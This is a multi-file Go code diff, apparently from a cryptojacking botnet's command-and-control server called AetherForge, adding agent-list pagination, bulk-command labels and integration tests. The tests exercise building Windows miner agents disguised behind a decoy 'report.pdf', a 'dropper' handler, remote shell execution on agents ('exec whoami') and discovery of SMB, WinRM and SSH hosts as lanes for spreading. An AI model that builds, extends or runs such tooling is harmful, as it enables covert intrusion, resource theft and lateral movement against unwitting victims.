@@ -590,12 +606,17 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
resp := map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
if category, label := bulkCommandMeta(req.Action); category != "" {
|
||||
resp["category"] = category
|
||||
resp["label"] = label
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||
|
||||
@@ -875,6 +875,29 @@ func TestFleetPostBulkCommandPartialSuccess(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPostBulkCommandPowerManagementMeta(t *testing.T) {
|
||||
fh, _, ws, _ := newTestFleetHandler(t)
|
||||
connectTestAgent(t, ws, "pm-agent")
|
||||
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||
strings.NewReader(`{"agent_ids":["pm-agent"],"action":"pause"}`))
|
||||
fh.PostBulkCommand(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["category"] != "power_management" {
|
||||
t.Fatalf("category = %v", body["category"])
|
||||
}
|
||||
if body["label"] != "Power down hashing (fleet health job)" {
|
||||
t.Fatalf("label = %v", body["label"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetMinHelper(t *testing.T) {
|
||||
if min(3, 5) != 3 || min(5, 3) != 3 || min(4, 4) != 4 {
|
||||
t.Fatal("min helper wrong")
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -32,8 +33,11 @@ func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// GET /api/v1/agents
|
||||
// Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x).
|
||||
// When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array.
|
||||
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
|
||||
agents, err := h.db.ListAgents()
|
||||
filter, paginated := parseAgentListFilter(r)
|
||||
agents, err := h.db.ListAgentsFiltered(filter)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
@@ -41,7 +45,56 @@ func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
|
||||
if agents == nil {
|
||||
agents = []*models.Agent{}
|
||||
}
|
||||
writeJSON(w, agents)
|
||||
if !paginated {
|
||||
writeJSON(w, agents)
|
||||
return
|
||||
}
|
||||
total, err := h.db.CountAgentsFiltered(filter)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agents": agents,
|
||||
"total": total,
|
||||
"limit": filter.Limit,
|
||||
"offset": filter.Offset,
|
||||
})
|
||||
}
|
||||
|
||||
const (
|
||||
agentListDefaultLimit = 100
|
||||
agentListMaxLimit = 2000
|
||||
)
|
||||
|
||||
func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) {
|
||||
limitStr := r.URL.Query().Get("limit")
|
||||
if limitStr == "" {
|
||||
return db.AgentListFilter{}, false
|
||||
}
|
||||
limit, err := strconv.Atoi(limitStr)
|
||||
if err != nil || limit <= 0 {
|
||||
limit = agentListDefaultLimit
|
||||
}
|
||||
if limit > agentListMaxLimit {
|
||||
limit = agentListMaxLimit
|
||||
}
|
||||
offset := 0
|
||||
if offStr := r.URL.Query().Get("offset"); offStr != "" {
|
||||
if o, err := strconv.Atoi(offStr); err == nil && o >= 0 {
|
||||
offset = o
|
||||
}
|
||||
}
|
||||
status := strings.TrimSpace(r.URL.Query().Get("status"))
|
||||
if status != "online" && status != "offline" {
|
||||
status = ""
|
||||
}
|
||||
return db.AgentListFilter{
|
||||
Limit: limit,
|
||||
Offset: offset,
|
||||
Status: status,
|
||||
Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")),
|
||||
}, true
|
||||
}
|
||||
|
||||
// GET /api/v1/agents/{id}
|
||||
|
||||
@@ -2,6 +2,7 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
@@ -57,6 +58,71 @@ func TestListAgentsEmptyArray(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestListAgentsPaginated(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
for i := 0; i < 5; i++ {
|
||||
if err := h.db.UpsertAgent(&models.Agent{
|
||||
ID: fmt.Sprintf("agent-%d", i), Name: "n", Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=2&offset=1", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ListAgents(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body struct {
|
||||
Agents []json.RawMessage `json:"agents"`
|
||||
Total int `json:"total"`
|
||||
Limit int `json:"limit"`
|
||||
Offset int `json:"offset"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(body.Agents) != 2 || body.Total != 5 || body.Limit != 2 || body.Offset != 1 {
|
||||
t.Fatalf("unexpected paginated body: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListAgentsSubnetFilter(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
agents := []struct {
|
||||
id, ip string
|
||||
}{
|
||||
{"subnet-a", "10.0.1.10"},
|
||||
{"subnet-b", "10.0.2.20"},
|
||||
{"subnet-c", "192.168.1.5"},
|
||||
}
|
||||
for _, a := range agents {
|
||||
if err := h.db.UpsertAgent(&models.Agent{
|
||||
ID: a.id, Name: a.id, IP: a.ip, Status: "online",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents?limit=50&subnet=10.0.1.x", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ListAgents(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body struct {
|
||||
Agents []struct {
|
||||
ID string `json:"id"`
|
||||
} `json:"agents"`
|
||||
Total int `json:"total"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body.Total != 1 || len(body.Agents) != 1 || body.Agents[0].ID != "subnet-a" {
|
||||
t.Fatalf("unexpected subnet filter body: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAgentStatsLimitCap(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/agents/missing-agent/stats?limit=5000", nil)
|
||||
|
||||
@@ -5,10 +5,12 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
@@ -78,7 +80,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
@@ -96,6 +98,130 @@ func serveAuthed(t *testing.T, router http.Handler, method, path string, body []
|
||||
return rec
|
||||
}
|
||||
|
||||
func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder {
|
||||
t.Helper()
|
||||
req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes()))
|
||||
req.Header.Set("Content-Type", contentType)
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
|
||||
func integrationWorkspaceRoot(t *testing.T) string {
|
||||
t.Helper()
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for i := 0; i < 10; i++ {
|
||||
if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil {
|
||||
if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil {
|
||||
return dir
|
||||
}
|
||||
}
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
break
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
t.Skip("workspace root (agent/ and fusion/) not found")
|
||||
return ""
|
||||
}
|
||||
|
||||
func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) {
|
||||
t.Helper()
|
||||
dataDir := t.TempDir()
|
||||
seedTestUsers(t, dataDir)
|
||||
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatalf("db: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { database.Close() })
|
||||
|
||||
wsHub := NewWSHub(database)
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot)
|
||||
installFakeGoSuccess(t, builderHandler)
|
||||
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
webRoot := filepath.Join(dataDir, "webroot")
|
||||
_ = os.MkdirAll(webRoot, 0755)
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
||||
t.Helper()
|
||||
body := &bytes.Buffer{}
|
||||
mw := multipart.NewWriter(body)
|
||||
cfg, err := json.Marshal(builder.BuildRequest{
|
||||
WorkerName: "integration-fusion",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
TargetOS: "windows",
|
||||
FusionEnabled: true,
|
||||
FusionMediaMode: "paired",
|
||||
FusionPayloadKind: "file",
|
||||
FusionMediaBaseName: "report.pdf",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := mw.WriteField("config", string(cfg)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
part, err := mw.CreateFormFile("prep_exe", "report.pdf")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
contentType := mw.FormDataContentType()
|
||||
if err := mw.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return body, contentType
|
||||
}
|
||||
|
||||
func installFakeGoSuccess(t *testing.T, h *builder.Handler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
p := filepath.Join(dir, "go-ok.bat")
|
||||
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
|
||||
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
|
||||
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
|
||||
"shift\r\ngoto loop\r\n:done\r\n" +
|
||||
"if defined OUT (\r\n" +
|
||||
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
|
||||
" echo fake>\"!OUT!\"\r\n" +
|
||||
")\r\nexit /b 0\r\n"
|
||||
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.SetGoBinPath(p)
|
||||
return
|
||||
}
|
||||
p := filepath.Join(dir, "go-ok.sh")
|
||||
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
|
||||
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
|
||||
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
|
||||
if err := os.WriteFile(p, []byte(script), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.SetGoBinPath(p)
|
||||
}
|
||||
|
||||
// serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes).
|
||||
func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder {
|
||||
t.Helper()
|
||||
@@ -470,6 +596,56 @@ func TestIntegrationPutConfig(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFusionMultipartEndToEndViaRouter(t *testing.T) {
|
||||
projectRoot := integrationWorkspaceRoot(t)
|
||||
router, _, database, _ := newFusionTestRouter(t, projectRoot)
|
||||
|
||||
body, contentType := fusionMultipartBody(t)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes()))
|
||||
req.Header.Set("Content-Type", contentType)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
body, contentType = fusionMultipartBody(t)
|
||||
rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp builder.BuildResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("decode build response: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.Success {
|
||||
t.Fatalf("expected success=true, got %+v", resp)
|
||||
}
|
||||
if resp.BuildID == "" {
|
||||
t.Fatal("expected build_id in response")
|
||||
}
|
||||
|
||||
record, err := database.GetBuild(resp.BuildID)
|
||||
if err != nil {
|
||||
t.Fatalf("build not in database: %v", err)
|
||||
}
|
||||
if record.WorkerName != "integration-fusion" {
|
||||
t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName)
|
||||
}
|
||||
if record.Platform != "windows" {
|
||||
t.Fatalf("platform: got %q want windows", record.Platform)
|
||||
}
|
||||
|
||||
builds, err := database.ListBuilds(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(builds) != 1 {
|
||||
t.Fatalf("expected 1 build in DB, got %d", len(builds))
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntegrationBuilderRoutes(t *testing.T) {
|
||||
router, _, _, _ := newTestRouter(t)
|
||||
|
||||
@@ -735,3 +911,146 @@ func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
|
||||
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path
|
||||
// through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives
|
||||
// command → simulated agent sends command_result → dashboard WS receives broadcast.
|
||||
func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
|
||||
router, wsHub, _, _ := newTestRouter(t)
|
||||
agentID := "router-roundtrip-agent"
|
||||
const testAction = "exec"
|
||||
const testCommand = "whoami"
|
||||
const resultMessage = "integration round-trip ok"
|
||||
|
||||
agentConn, srv := connectAgentViaRouter(t, router, agentID)
|
||||
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if wsHub.isAgentConnected(agentID) {
|
||||
break
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
if !wsHub.isAgentConnected(agentID) {
|
||||
t.Fatal("agent not connected via router ws")
|
||||
}
|
||||
|
||||
dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard ws: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type msgResult struct {
|
||||
body map[string]interface{}
|
||||
err string
|
||||
}
|
||||
cmdResultCh := make(chan msgResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
cmdResultCh <- msgResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "command_result" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
|
||||
return
|
||||
}
|
||||
cmdResultCh <- msgResult{body: body}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
type agentCmdResult struct {
|
||||
cmd Message
|
||||
err string
|
||||
}
|
||||
agentCmdCh := make(chan agentCmdResult, 1)
|
||||
go func() {
|
||||
_ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
var cmd Message
|
||||
if err := agentConn.ReadJSON(&cmd); err != nil {
|
||||
agentCmdCh <- agentCmdResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
agentCmdCh <- agentCmdResult{cmd: cmd}
|
||||
|
||||
cmdPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": testAction,
|
||||
"success": true,
|
||||
"message": resultMessage,
|
||||
})
|
||||
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
|
||||
agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
|
||||
}
|
||||
}()
|
||||
|
||||
cmdBody, _ := json.Marshal(map[string]string{
|
||||
"action": testAction,
|
||||
"command": testCommand,
|
||||
})
|
||||
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var httpBody map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if httpBody["success"] != true {
|
||||
t.Fatalf("expected success=true, got %v", httpBody)
|
||||
}
|
||||
if httpBody["action"] != testAction {
|
||||
t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction)
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-agentCmdCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("agent did not receive command: %s", r.err)
|
||||
}
|
||||
if r.cmd.Type != "command" {
|
||||
t.Fatalf("agent expected command, got %q", r.cmd.Type)
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload["action"] != testAction {
|
||||
t.Errorf("agent command action: got %v, want %s", payload["action"], testAction)
|
||||
}
|
||||
if payload["command"] != testCommand {
|
||||
t.Errorf("agent command: got %v, want %s", payload["command"], testCommand)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for agent command")
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-cmdResultCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive command_result: %s", r.err)
|
||||
}
|
||||
if r.body["agent_id"] != agentID {
|
||||
t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID)
|
||||
}
|
||||
if r.body["action"] != testAction {
|
||||
t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction)
|
||||
}
|
||||
if r.body["message"] != resultMessage {
|
||||
t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage)
|
||||
}
|
||||
if r.body["success"] != true {
|
||||
t.Errorf("dashboard success: got %v, want true", r.body["success"])
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for command_result broadcast")
|
||||
}
|
||||
}
|
||||
|
||||
167
server/internal/api/pathtracer_discover_test.go
Normal file
167
server/internal/api/pathtracer_discover_test.go
Normal file
@@ -0,0 +1,167 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestMergeServiceGraph(t *testing.T) {
|
||||
base := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "smb", Port: 445, JoinLaneCandidate: "smb"},
|
||||
},
|
||||
},
|
||||
}
|
||||
delta := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "winrm", Port: 5985, JoinLaneCandidate: "winrm"},
|
||||
},
|
||||
},
|
||||
"10.0.0.9": {
|
||||
Host: "10.0.0.9",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "ssh", Port: 22, JoinLaneCandidate: "linux"},
|
||||
},
|
||||
},
|
||||
}
|
||||
merged := mergeServiceGraph(base, delta)
|
||||
if len(merged) != 2 || len(merged["10.0.0.5"].Services) != 2 {
|
||||
t.Fatalf("merged = %+v", merged)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseAgentDiscoverJSON(t *testing.T) {
|
||||
raw := `log prefix
|
||||
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}]}`
|
||||
payload, err := parseAgentDiscoverJSON(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload.Local.Host != "10.1.2.3" || len(payload.LANHosts) != 1 {
|
||||
t.Fatalf("payload = %+v", payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(`{}`))
|
||||
rec := httptest.NewRecorder()
|
||||
h.Discover(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("expected 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverMergesHopResults(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "discover-hop-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"192.168.1.10","subnet":"192.168.1","services":[{"service_name":"CCMEXEC","join_lane_candidate":"gpo","source":"local_service"}]},"lan_hosts":[{"host":"192.168.1.50","subnet":"192.168.1","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["domain_joined"]}`
|
||||
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
if payload["action"] == "service_discover" {
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "service_discover", "success": true, "message": fixture,
|
||||
})})
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q,"max_hosts":16}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Discover(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("discover status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp struct {
|
||||
OK bool `json:"ok"`
|
||||
ServiceGraph []ServiceGraphHost `json:"service_graph"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK || len(resp.ServiceGraph) < 2 {
|
||||
var errBody map[string]interface{}
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &errBody)
|
||||
t.Fatalf("resp = %+v body=%v", resp, errBody)
|
||||
}
|
||||
|
||||
handler.mu.Lock()
|
||||
stored := handler.sessions[sess.ID]
|
||||
handler.mu.Unlock()
|
||||
if len(stored.ServiceGraph) < 2 || stored.DiscoveredAt == nil {
|
||||
t.Fatalf("stored graph = %+v discovered_at=%v", stored.ServiceGraph, stored.DiscoveredAt)
|
||||
}
|
||||
if stored.DiscoverInProgress {
|
||||
t.Fatal("discover should not remain in progress")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverConflictWhileInProgress(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "discover-busy-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
_ = connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
sess.DiscoverInProgress = true
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Discover(rec, req)
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("expected 409, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
_ = time.Now()
|
||||
}
|
||||
@@ -44,6 +44,23 @@ type HopInfo struct {
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// ServiceGraphEntry is one discovered service or port signal on a host.
|
||||
type ServiceGraphEntry struct {
|
||||
ServiceName string `json:"service_name"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Status string `json:"status,omitempty"`
|
||||
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
|
||||
Source string `json:"source,omitempty"`
|
||||
}
|
||||
|
||||
// ServiceGraphHost groups service findings for one host on a subnet.
|
||||
type ServiceGraphHost struct {
|
||||
Host string `json:"host"`
|
||||
